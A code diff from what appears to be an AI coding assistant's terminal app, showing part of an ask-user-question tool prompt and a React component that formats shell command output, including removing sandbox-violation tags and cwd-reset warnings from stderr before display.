+Preview content is rendered as markdown in a monospace box. Multi-line text with newlines is supported. When any option has a preview, the UI switches to a side-by-side layout with a vertical option list on the left and preview on the right. Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
+`,
+  html: `
+Preview feature:
+Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
+- HTML mockups of UI layouts or components
+- Formatted code snippets showing different implementations
+- Visual comparisons or diagrams
+
+Preview content must be a self-contained HTML fragment (no <html>/<body> wrapper, no <script> or <style> tags — use inline style attributes instead). Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
+`,
+} as const
+
+export const ASK_USER_QUESTION_TOOL_PROMPT = `Use this tool when you need to ask the user questions during execution. This allows you to:
+1. Gather user preferences or requirements
+2. Clarify ambiguous instructions
+3. Get decisions on implementation choices as you work
+4. Offer choices to the user about what direction to take.
+
+Usage notes:
+- Users will always be able to select "Other" to provide custom text input
+- Use multiSelect: true to allow multiple answers to be selected for a question
+- If you recommend a specific option, make that the first option in the list and add "(Recommended)" at the end of the label
+
+Plan mode note: In plan mode, use this tool to clarify requirements or choose between approaches BEFORE finalizing your plan. Do NOT use this tool to ask "Is my plan ready?" or "Should I proceed?" - use ${EXIT_PLAN_MODE_TOOL_NAME} for plan approval. IMPORTANT: Do not reference "the plan" in your questions (e.g., "Do you have feedback about the plan?", "Does the plan look good?") because the user cannot see the plan in the UI until you call ${EXIT_PLAN_MODE_TOOL_NAME}. If you need plan approval, use ${EXIT_PLAN_MODE_TOOL_NAME} instead.
+`

src/tools/BashTool/BashToolResultMessage.tsx

@@ -0,0 +1,191 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { removeSandboxViolationTags } from 'src/utils/sandbox/sandbox-ui-utils.js';
+import { KeyboardShortcutHint } from '../../components/design-system/KeyboardShortcutHint.js';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { OutputLine } from '../../components/shell/OutputLine.js';
+import { ShellTimeDisplay } from '../../components/shell/ShellTimeDisplay.js';
+import { Box, Text } from '../../ink.js';
+import type { Out as BashOut } from './BashTool.js';
+type Props = {
+  content: Omit<BashOut, 'interrupted'>;
+  verbose: boolean;
+  timeoutMs?: number;
+};
+
+// Pattern to match "Shell cwd was reset to <path>" message
+// Use (?:^|\n) to match either start of string or after a newline
+const SHELL_CWD_RESET_PATTERN = /(?:^|\n)(Shell cwd was reset to .+)$/;
+
+/**
+ * Extracts sandbox violations from stderr if present
+ * Returns both the cleaned stderr and the violations content
+ */
+function extractSandboxViolations(stderr: string): {
+  cleanedStderr: string;
+} {
+  const violationsMatch = stderr.match(/<sandbox_violations>([\s\S]*?)<\/sandbox_violations>/);
+  if (!violationsMatch) {
+    return {
+      cleanedStderr: stderr
+    };
+  }
+
+  // Remove the sandbox violations section from stderr
+  const cleanedStderr = removeSandboxViolationTags(stderr).trim();
+  return {
+    cleanedStderr
+  };
+}
+
+/**
+ * Extracts the "Shell cwd was reset" warning message from stderr
+ * Returns the cleaned stderr and the warning message separately
+ */
+function extractCwdResetWarning(stderr: string): {
+  cleanedStderr: string;
+  cwdResetWarning: string | null;
+} {
+  const match = stderr.match(SHELL_CWD_RESET_PATTERN);
+  if (!match) {
+    return {
+      cleanedStderr: stderr,
+      cwdResetWarning: null
+    };
+  }
+
+  // Extract the warning message from capture group 1
+  const cwdResetWarning = match[1] ?? null;
+  // Remove the warning from stderr (replace the full match)
+  const cleanedStderr = stderr.replace(SHELL_CWD_RESET_PATTERN, '').trim();
+  return {
+    cleanedStderr,
+    cwdResetWarning
+  };
+}
+export default function BashToolResultMessage(t0) {
+  const $ = _c(34);
+  const {
+    content: t1,
+    verbose,
+    timeoutMs
+  } = t0;
+  const {
+    stdout: t2,
+    stderr: t3,
+    isImage,
+    returnCodeInterpretation,
+    noOutputExpected,
+    backgroundTaskId
+  } = t1;
+  const stdout = t2 === undefined ? "" : t2;
+  const stdErrWithViolations = t3 === undefined ? "" : t3;
+  let T0;
+  let cwdResetWarning;
+  let stderr;
+  let t4;
+  let t5;
+  let t6;
+  let t7;
+  if ($[0] !== isImage || $[1] !== stdErrWithViolations || $[2] !== stdout || $[3] !== verbose) {
+    t7 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const {
+        cleanedStderr: stderrWithoutViolations
+      } = extractSandboxViolations(stdErrWithViolations);
+      ({
+        cleanedStderr: stderr,
+        cwdResetWarning
+      } = extractCwdResetWarning(stderrWithoutViolations));
+      if (isImage) {
+        let t8;
+        if ($[11] === Symbol.for("react.memo_cache_sentinel")) {
+          t8 = <MessageResponse height={1}><Text dimColor={true}>[Image data detected and sent to Claude]</Text></MessageResponse>;
+          $[11] = t8;
+        } else {
+          t8 = $[11];
+        }
+        t7 = t8;
+        break bb0;
+      }
+      T0 = Box;
+      t4 = "column";
+      if ($[12] !== stdout || $[13] !== verbose) {
+        t5 = stdout !== "" ? <OutputLine content={stdout} verbose={verbose} /> : null;
+        $[12] = stdout;
+        $[13] = verbose;
+        $[14] = t5;
+      } else {
+        t5 = $[14];
+      }
+      t6 = stderr.trim() !== "" ? <OutputLine content={stderr} verbose={verbose} isError={true} /> : null;
+    }
+    $[0] = isImage;
+    $[1] = stdErrWithViolations;
+    $[2] = stdout;
+    $[3] = verbose;
+    $[4] = T0;
+    $[5] = cwdResetWarning;
+    $[6] = stderr;
+    $[7] = t4;
+    $[8] = t5;
+    $[9] = t6;
+    $[10] = t7;
+  } else {
+    T0 = $[4];
+    cwdResetWarning = $[5];
+    stderr = $[6];
+    t4 = $[7];
+    t5 = $[8];
+    t6 = $[9];
+    t7 = $[10];
+  }
+  if (t7 !== Symbol.for("react.early_return_sentinel")) {
+    return t7;
+  }
+  let t8;
+  if ($[15] !== cwdResetWarning) {
+    t8 = cwdResetWarning ? <MessageResponse><Text dimColor={true}>{cwdResetWarning}</Text></MessageResponse> : null;
+    $[15] = cwdResetWarning;
+    $[16] = t8;
+  } else {
+    t8 = $[16];
+  }
+  let t9;
+  if ($[17] !== backgroundTaskId || $[18] !== cwdResetWarning || $[19] !== noOutputExpected || $[20] !== returnCodeInterpretation || $[21] !== stderr || $[22] !== stdout) {
+    t9 = stdout === "" && stderr.trim() === "" && !cwdResetWarning ? <MessageResponse height={1}><Text dimColor={true}>{backgroundTaskId ? <>Running in the background{" "}<KeyboardShortcutHint shortcut={"\u2193"} action="manage" parens={true} /></> : returnCodeInterpretation || (noOutputExpected ? "Done" : "(No output)")}</Text></MessageResponse> : null;
+    $[17] = backgroundTaskId;
+    $[18] = cwdResetWarning;
+    $[19] = noOutputExpected;
+    $[20] = returnCodeInterpretation;
+    $[21] = stderr;
+    $[22] = stdout;
+    $[23] = t9;
+  } else {
+    t9 = $[23];
+  }
+  let t10;
+  if ($[24] !== timeoutMs) {
+    t10 = timeoutMs && <MessageResponse><ShellTimeDisplay timeoutMs={timeoutMs} /></MessageResponse>;
+    $[24] = timeoutMs;
+    $[25] = t10;
+  } else {
+    t10 = $[25];
+  }
+  let t11;
+  if ($[26] !== T0 || $[27] !== t10 || $[28] !== t4 || $[29] !== t5 || $[30] !== t6 || $[31] !== t8 || $[32] !== t9) {
+    t11 = <T0 flexDirection={t4}>{t5}{t6}{t8}{t9}{t10}</T0>;
+    $[26] = T0;
+    $[27] = t10;
+    $[28] = t4;
+    $[29] = t5;
+    $[30] = t6;
+    $[31] = t8;
+    $[32] = t9;
+    $[33] = t11;
+  } else {
+    t11 = $[33];
+  }
+  return t11;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInJlbW92ZVNhbmRib3hWaW9sYXRpb25UYWdzIiwiS2V5Ym9hcmRTaG9ydGN1dEhpbnQiLCJNZXNzYWdlUmVzcG9uc2UiLCJPdXRwdXRMaW5lIiwiU2hlbGxUaW1lRGlzcGxheSIsIkJveCIsIlRleHQiLCJPdXQiLCJCYXNoT3V0IiwiUHJvcHMiLCJjb250ZW50IiwiT21pdCIsInZlcmJvc2UiLCJ0aW1lb3V0TXMiLCJTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiIsImV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyIsInN0ZGVyciIsImNsZWFuZWRTdGRlcnIiLCJ2aW9sYXRpb25zTWF0Y2giLCJtYXRjaCIsInRyaW0iLCJleHRyYWN0Q3dkUmVzZXRXYXJuaW5nIiwiY3dkUmVzZXRXYXJuaW5nIiwicmVwbGFjZSIsIkJhc2hUb29sUmVzdWx0TWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJzdGRvdXQiLCJ0MiIsInQzIiwiaXNJbWFnZSIsInJldHVybkNvZGVJbnRlcnByZXRhdGlvbiIsIm5vT3V0cHV0RXhwZWN0ZWQiLCJiYWNrZ3JvdW5kVGFza0lkIiwidW5kZWZpbmVkIiwic3RkRXJyV2l0aFZpb2xhdGlvbnMiLCJUMCIsInQ0IiwidDUiLCJ0NiIsInQ3IiwiU3ltYm9sIiwiZm9yIiwiYmIwIiwic3RkZXJyV2l0aG91dFZpb2xhdGlvbnMiLCJ0OCIsInQ5IiwidDEwIiwidDExIl0sInNvdXJjZXMiOlsiQmFzaFRvb2xSZXN1bHRNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyByZW1vdmVTYW5kYm94VmlvbGF0aW9uVGFncyB9IGZyb20gJ3NyYy91dGlscy9zYW5kYm94L3NhbmRib3gtdWktdXRpbHMuanMnXG5pbXBvcnQgeyBLZXlib2FyZFNob3J0Y3V0SGludCB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvZGVzaWduLXN5c3RlbS9LZXlib2FyZFNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IE1lc3NhZ2VSZXNwb25zZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvTWVzc2FnZVJlc3BvbnNlLmpzJ1xuaW1wb3J0IHsgT3V0cHV0TGluZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvc2hlbGwvT3V0cHV0TGluZS5qcydcbmltcG9ydCB7IFNoZWxsVGltZURpc3BsYXkgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL3NoZWxsL1NoZWxsVGltZURpc3BsYXkuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IE91dCBhcyBCYXNoT3V0IH0gZnJvbSAnLi9CYXNoVG9vbC5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgY29udGVudDogT21pdDxCYXNoT3V0LCAnaW50ZXJydXB0ZWQnPlxuICB2ZXJib3NlOiBib29sZWFuXG4gIHRpbWVvdXRNcz86IG51bWJlclxufVxuXG4vLyBQYXR0ZXJuIHRvIG1hdGNoIFwiU2hlbGwgY3dkIHdhcyByZXNldCB0byA8cGF0aD5cIiBtZXNzYWdlXG4vLyBVc2UgKD86XnxcXG4pIHRvIG1hdGNoIGVpdGhlciBzdGFydCBvZiBzdHJpbmcgb3IgYWZ0ZXIgYSBuZXdsaW5lXG5jb25zdCBTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiA9IC8oPzpefFxcbikoU2hlbGwgY3dkIHdhcyByZXNldCB0byAuKykkL1xuXG4vKipcbiAqIEV4dHJhY3RzIHNhbmRib3ggdmlvbGF0aW9ucyBmcm9tIHN0ZGVyciBpZiBwcmVzZW50XG4gKiBSZXR1cm5zIGJvdGggdGhlIGNsZWFuZWQgc3RkZXJyIGFuZCB0aGUgdmlvbGF0aW9ucyBjb250ZW50XG4gKi9cbmZ1bmN0aW9uIGV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyhzdGRlcnI6IHN0cmluZyk6IHtcbiAgY2xlYW5lZFN0ZGVycjogc3RyaW5nXG59IHtcbiAgY29uc3QgdmlvbGF0aW9uc01hdGNoID0gc3RkZXJyLm1hdGNoKFxuICAgIC88c2FuZGJveF92aW9sYXRpb25zPihbXFxzXFxTXSo/KTxcXC9zYW5kYm94X3Zpb2xhdGlvbnM+LyxcbiAgKVxuXG4gIGlmICghdmlvbGF0aW9uc01hdGNoKSB7XG4gICAgcmV0dXJuIHsgY2xlYW5lZFN0ZGVycjogc3RkZXJyIH1cbiAgfVxuXG4gIC8vIFJlbW92ZSB0aGUgc2FuZGJveCB2aW9sYXRpb25zIHNlY3Rpb24gZnJvbSBzdGRlcnJcbiAgY29uc3QgY2xlYW5lZFN0ZGVyciA9IHJlbW92ZVNhbmRib3hWaW9sYXRpb25UYWdzKHN0ZGVycikudHJpbSgpXG5cbiAgcmV0dXJuIHtcbiAgICBjbGVhbmVkU3RkZXJyLFxuICB9XG59XG5cbi8qKlxuICogRXh0cmFjdHMgdGhlIFwiU2hlbGwgY3dkIHdhcyByZXNldFwiIHdhcm5pbmcgbWVzc2FnZSBmcm9tIHN0ZGVyclxuICogUmV0dXJucyB0aGUgY2xlYW5lZCBzdGRlcnIgYW5kIHRoZSB3YXJuaW5nIG1lc3NhZ2Ugc2VwYXJhdGVseVxuICovXG5mdW5jdGlvbiBleHRyYWN0Q3dkUmVzZXRXYXJuaW5nKHN0ZGVycjogc3RyaW5nKToge1xuICBjbGVhbmVkU3RkZXJyOiBzdHJpbmdcbiAgY3dkUmVzZXRXYXJuaW5nOiBzdHJpbmcgfCBudWxsXG59IHtcbiAgY29uc3QgbWF0Y2ggPSBzdGRlcnIubWF0Y2goU0hFTExfQ1dEX1JFU0VUX1BBVFRFUk4pXG4gIGlmICghbWF0Y2gpIHtcbiAgICByZXR1cm4geyBjbGVhbmVkU3RkZXJyOiBzdGRlcnIsIGN3ZFJlc2V0V2FybmluZzogbnVsbCB9XG4gIH1cblxuICAvLyBFeHRyYWN0IHRoZSB3YXJuaW5nIG1lc3NhZ2UgZnJvbSBjYXB0dXJlIGdyb3VwIDFcbiAgY29uc3QgY3dkUmVzZXRXYXJuaW5nID0gbWF0Y2hbMV0gPz8gbnVsbFxuICAvLyBSZW1vdmUgdGhlIHdhcm5pbmcgZnJvbSBzdGRlcnIgKHJlcGxhY2UgdGhlIGZ1bGwgbWF0Y2gpXG4gIGNvbnN0IGNsZWFuZWRTdGRlcnIgPSBzdGRlcnIucmVwbGFjZShTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiwgJycpLnRyaW0oKVxuXG4gIHJldHVybiB7IGNsZWFuZWRTdGRlcnIsIGN3ZFJlc2V0V2FybmluZyB9XG59XG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIEJhc2hUb29sUmVzdWx0TWVzc2FnZSh7XG4gIGNvbnRlbnQ6IHtcbiAgICBzdGRvdXQgPSAnJyxcbiAgICBzdGRlcnI6IHN0ZEVycldpdGhWaW9sYXRpb25zID0gJycsXG4gICAgaXNJbWFnZSxcbiAgICByZXR1cm5Db2RlSW50ZXJwcmV0YXRpb24sXG4gICAgbm9PdXRwdXRFeHBlY3RlZCxcbiAgICBiYWNrZ3JvdW5kVGFza0lkLFxuICB9LFxuICB2ZXJib3NlLFxuICB0aW1lb3V0TXMsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8vIEV4dHJhY3Qgc2FuZGJveCB2aW9sYXRpb25zIGZyb20gc3RkZXJyIGFzIGl0IGZlZWxzIGNsZWFuZXIgb24gdGhlIFVJXG4gIC8vIFdlIHdhbnQgdGhlIG1vZGVsIHRvIHNlZSB0aGUgdmlvbGF0aW9ucywgc28gaXQgY2FuIGV4cGxhaW4gd2hhdCB3ZW50IHdyb25nLCBhbmQgdGhlXG4gIC8vIHVzZXIgY2FuIGFjY2VzcyB0aGVtIGluIHRoZSB2aW9sYXRpb24gbG9nc1xuICBjb25zdCB7IGNsZWFuZWRTdGRlcnI6IHN0ZGVycldpdGhvdXRWaW9sYXRpb25zIH0gPVxuICAgIGV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyhzdGRFcnJXaXRoVmlvbGF0aW9ucylcblxuICAvLyBFeHRyYWN0IFwiU2hlbGwgY3dkIHdhcyByZXNldFwiIHdhcm5pbmcgdG8gcmVuZGVyIGl0IHdpdGggd2FybmluZyBjb2xvciBpbnN0ZWFkIG9mIGVycm9yXG4gIGNvbnN0IHsgY2xlYW5lZFN0ZGVycjogc3RkZXJyLCBjd2RSZXNldFdhcm5pbmcgfSA9IGV4dHJhY3RDd2RSZXNldFdhcm5pbmcoXG4gICAgc3RkZXJyV2l0aG91dFZpb2xhdGlvbnMsXG4gIClcblxuICAvLyBJZiB0aGlzIGlzIGFuIGltYWdlLCB3ZSBkb24ndCB3YW50IHRvIHRydW5jYXRlIGl0IGluIHRoZSBVSVxuICBpZiAoaXNJbWFnZSkge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPltJbWFnZSBkYXRhIGRldGVjdGVkIGFuZCBzZW50IHRvIENsYXVkZV08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAge3N0ZG91dCAhPT0gJycgPyA8T3V0cHV0TGluZSBjb250ZW50PXtzdGRvdXR9IHZlcmJvc2U9e3ZlcmJvc2V9IC8+IDogbnVsbH1cbiAgICAgIHtzdGRlcnIudHJpbSgpICE9PSAnJyA/IChcbiAgICAgICAgPE91dHB1dExpbmUgY29udGVudD17c3RkZXJyfSB2ZXJib3NlPXt2ZXJib3NlfSBpc0Vycm9yIC8+XG4gICAgICApIDogbnVsbH1cbiAgICAgIHtjd2RSZXNldFdhcm5pbmcgPyAoXG4gICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+e2N3ZFJlc2V0V2FybmluZ308L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgKSA6IG51bGx9XG4gICAgICB7c3Rkb3V0ID09PSAnJyAmJiBzdGRlcnIudHJpbSgpID09PSAnJyAmJiAhY3dkUmVzZXRXYXJuaW5nID8gKFxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICB7YmFja2dyb3VuZFRhc2tJZCA/IChcbiAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICBSdW5uaW5nIGluIHRoZSBiYWNrZ3JvdW5keycgJ31cbiAgICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCLihpNcIiBhY3Rpb249XCJtYW5hZ2VcIiBwYXJlbnMgLz5cbiAgICAgICAgICAgICAgPC8+XG4gICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICByZXR1cm5Db2RlSW50ZXJwcmV0YXRpb24gfHxcbiAgICAgICAgICAgICAgKG5vT3V0cHV0RXhwZWN0ZWQgPyAnRG9uZScgOiAnKE5vIG91dHB1dCknKVxuICAgICAgICAgICAgKX1cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgKSA6IG51bGx9XG4gICAgICB7dGltZW91dE1zICYmIChcbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgICA8U2hlbGxUaW1lRGlzcGxheSB0aW1lb3V0TXM9e3RpbWVvdXRNc30gLz5cbiAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICApfVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQywwQkFBMEIsUUFBUSx1Q0FBdUM7QUFDbEYsU0FBU0Msb0JBQW9CLFFBQVEsd0RBQXdEO0FBQzdGLFNBQVNDLGVBQWUsUUFBUSxxQ0FBcUM7QUFDckUsU0FBU0MsVUFBVSxRQUFRLHNDQUFzQztBQUNqRSxTQUFTQyxnQkFBZ0IsUUFBUSw0Q0FBNEM7QUFDN0UsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxjQUFjQyxHQUFHLElBQUlDLE9BQU8sUUFBUSxlQUFlO0FBRW5ELEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVDLElBQUksQ0FBQ0gsT0FBTyxFQUFFLGFBQWEsQ0FBQztFQUNyQ0ksT0FBTyxFQUFFLE9BQU87RUFDaEJDLFNBQVMsQ0FBQyxFQUFFLE1BQU07QUFDcEIsQ0FBQzs7QUFFRDtBQUNBO0FBQ0EsTUFBTUMsdUJBQXVCLEdBQUcsc0NBQXNDOztBQUV0RTtBQUNBO0FBQ0E7QUFDQTtBQUNB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